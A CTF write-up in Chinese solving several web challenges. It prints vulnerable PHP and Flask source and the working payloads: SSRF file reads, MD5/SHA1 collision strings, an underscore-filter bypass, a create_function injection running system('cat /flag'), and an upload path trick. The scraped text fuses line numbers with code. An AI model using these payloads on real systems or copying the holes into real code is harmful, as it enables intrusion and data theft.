easyssrf ssrf(服务端请求伪造(Server Side Request Forgery, SSRF))curl -vvv 'file///flag'都说了这里看不了flag。。但是可以看看提示文件:/fl4gcurl -vvv 'file//fl4g害羞羞,试试其他路径?看wp得知应用file:///fl4gfile:///fl4g 的快照如下:你应该看看除了index.php,是不是还有个ha1x1ux1u.php/ha1x1ux1u.php
1 2 3 4 5 6 7 8 9 10 11 12  <?php highlight_file(__FILE__); error_reporting(0); $file  = $_GET ["file" ];if  (stristr($file , "file" )){    die("你败了." ); } //flag in  /flag echo  file_get_contents($file ); 
?file=/flagNSSCTF{cef59882-2ae3-466d-a96c-c718d57672af}
checkin $_GET[......Ugeiwo......cuishiyuan]=$_GET[E2 80 AE E2 81 A6 55 67 65 69 77 6F E2 81 A9 E2 81 A6 63 75 69 73 68 69 79 75 61 6E]"...... Flag!......N1SACTF"="E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46"
level-up 网页源码无从下手,先扫一下,获得/level_2_1s_h3re.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php //here is level 2 error_reporting(0); include "str.php" ; if  (isset($_POST ['array1' ]) && isset($_POST ['array2' ])){    $a1  = (string)$_POST ['array1' ];     $a2  = (string)$_POST ['array2' ];     if  ($a1  == $a2 ){         die("????" );     }     if  (md5($a1 ) === md5($a2 )){         echo  $level3 ;     }     else {         die("level 2 failed ..." );     } } else {    show_source(__FILE__); } ?>  
强比较===会先判断字符类型是否相等然后再比较fastcoll进行MD5碰撞%61%62%63%61%62%63%61%62%63%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%13%5A%EF%79%15%E3%71%AB%76%B5%D9%B2%1F%D2%BF%39%2F%4F%0A%57%78%8C%FB%2A%39%3E%41%FA%AA%2B%B4%00%87%FC%F6%D2%FC%03%DA%87%4B%46%DF%B3%F1%95%D4%7D%43%AC%5F%F9%8D%C1%3C%5F%F8%62%6D%99%8A%8B%8C%DF%F5%BF%E4%47%84%09%97%DA%2D%FA%94%8D%19%1B%30%14%35%B5%E4%25%31%A4%F6%2C%0E%25%EB%96%D1%37%DD%8D%BD%FF%F9%E1%27%B3%41%25%4E%A6%D1%A9%A1%C8%71%3C%C6%58%0E%21%93%D2%63%D5%E9%6A%92%DA%39%EC%08%F6%61%62%63%61%62%63%61%62%63%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%13%5A%EF%79%15%E3%71%AB%76%B5%D9%B2%1F%D2%BF%39%2F%4F%0A%D7%78%8C%FB%2A%39%3E%41%FA%AA%2B%B4%00%87%FC%F6%D2%FC%03%DA%87%4B%46%DF%B3%F1%15%D5%7D%43%AC%5F%F9%8D%C1%3C%5F%F8%62%6D%19%8A%8B%8C%DF%F5%BF%E4%47%84%09%97%DA%2D%FA%94%8D%19%1B%30%14%35%B5%E4%A5%31%A4%F6%2C%0E%25%EB%96%D1%37%DD%8D%BD%FF%F9%E1%27%B3%41%25%4E%A6%D1%A9%A1%48%71%3C%C6%58%0E%21%93%D2%63%D5%E9%6A%92%5A%39%EC%08%F6level 2 failed ...就算用其他人wp的也是这样😿😿😿Level___3.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  <?php //here is level 3 error_reporting(0); include "str.php" ; if  (isset($_POST ['array1' ]) && isset($_POST ['array2' ])){    $a1  = (string)$_POST ['array1' ];     $a2  = (string)$_POST ['array2' ];     if  ($a1  == $a2 ){         die("????" );     }     if  (sha1($a1 ) === sha1($a2 )){         echo  $level4 ;     }     else {         die("level 3 failed ..." );     } } else {    show_source(__FILE__); } ?>  
sha1()用到sha1碰撞level_level_4.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22  <?php //here is last level     error_reporting(0);     include "str.php" ;     show_source(__FILE__);     $str  = parse_url($_SERVER ['REQUEST_URI' ]);     if ($str ['query' ] == "" ){         echo  "give me a parameter" ;     }     if (preg_match('/ |_|20|5f|2e|\./' ,$str ['query' ])){         die("blacklist here" );     }     if ($_GET ['NI_SA_' ] === "txw4ever" ){         die($level5 );     }     else {         die("level 4 failed ..." );     } ?> give me a parameterlevel 4 failed ... 
/?NI_SA_=txw4ever但是_  %5f会被过滤掉?NI+SA+=txw4ever55_5_55.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php //sorry , here is true  last level //^_^ error_reporting(0); include "str.php" ; $a  = $_GET ['a' ];$b  = $_GET ['b' ];if (preg_match('/^[a-z0-9_]*$/isD' ,$a )){    show_source(__FILE__); } else {    $a ('' ,$b ); } 
create_function?a=\create_function&b=;}system('cat /flag')//NSSCTF{7ceb97ee-703b-424b-8ce1-09017b0082f1}
顺便记录一下网上找到的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2    b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2    b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% $a ="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2" ;$b ="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2" ;a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 
babyupload 根据提示,访问/source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from flask import Flask, request, redirect, g, send_from_directory import sqlite3 import os import uuid app = Flask(__name__) SCHEMA = "" "CREATE TABLE files (  id text primary key, path text ); " "" def db():     g_db = getattr(g, '_database' , None)     if  g_db is None:         g_db = g._database = sqlite3.connect("database.db" )     return  g_db @app.before_first_request def setup():     os.remove("database.db" )     cur = db().cursor()     cur.executescript(SCHEMA) @app.route('/' ) def hello_world():     return  "" "<!DOCTYPE html>  <html> <body> <form action=" /upload" method=" post" enctype=" multipart/form-data">     Select image to upload:     <input type=" file" name=" file">     <input type=" submit" value=" Upload File" name=" submit"> </form> <!-- /source --> </body> </html>" "" @app.route('/source' ) def source ():     return  send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True) @app.route('/upload' , methods=['POST' ]) def upload():     if  'file'  not in  request.files:         return  redirect('/' )     file = request.files['file' ]     if  "."  in  file.filename:         return  "Bad filename!" , 403     conn = db()     cur = conn.cursor()     uid = uuid.uuid4().hex     try:         cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,))     except sqlite3.IntegrityError:         return  "Duplicate file"      conn.commit()     file.save('uploads/'  + file.filename)     return  redirect('/file/'  + uid) @app.route('/file/<id>' ) def file(id ):     conn = db()     cur = conn.cursor()     cur.execute("select path from files where id=?" , (id ,))     res = cur.fetchone()     if  res is None:         return  "File not found" , 404          with open(os.path.join("uploads/" , res[0]), "r" ) as f:         return  f.read() if  __name__ == '__main__' :    app.run(host='0.0.0.0' , port=80) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @app.route('/upload' , methods=['POST' ]) def upload():     if  'file'  not in  request.files:         return  redirect('/' )     file = request.files['file' ]     if  "."  in  file.filename:         return  "Bad filename!" , 403     conn = db()     cur = conn.cursor()     uid = uuid.uuid4().hex     try:         cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,))     except sqlite3.IntegrityError:         return  "Duplicate file"      conn.commit()     file.save('uploads/'  + file.filename)     return  redirect('/file/'  + uid) 
 if "." in file.filename: return "Bad filename!", 403 会过滤文件名含.的/flag然后放行就好了NSSCTF{7f3157de-0fd5-4fca-8cf0-ce3b4cf519ea}
middlerce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include "check.php" ; if  (isset($_REQUEST ['letter' ])){    $txw4ever  = $_REQUEST ['letter' ];     if  (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m' ,$txw4ever )){         die("再加把油喔" );     }     else {         $command  = json_decode($txw4ever ,true )['cmd' ];         checkdata($command );         @eval ($command );     } } else {    highlight_file(__FILE__); } ?> 
bingdundun~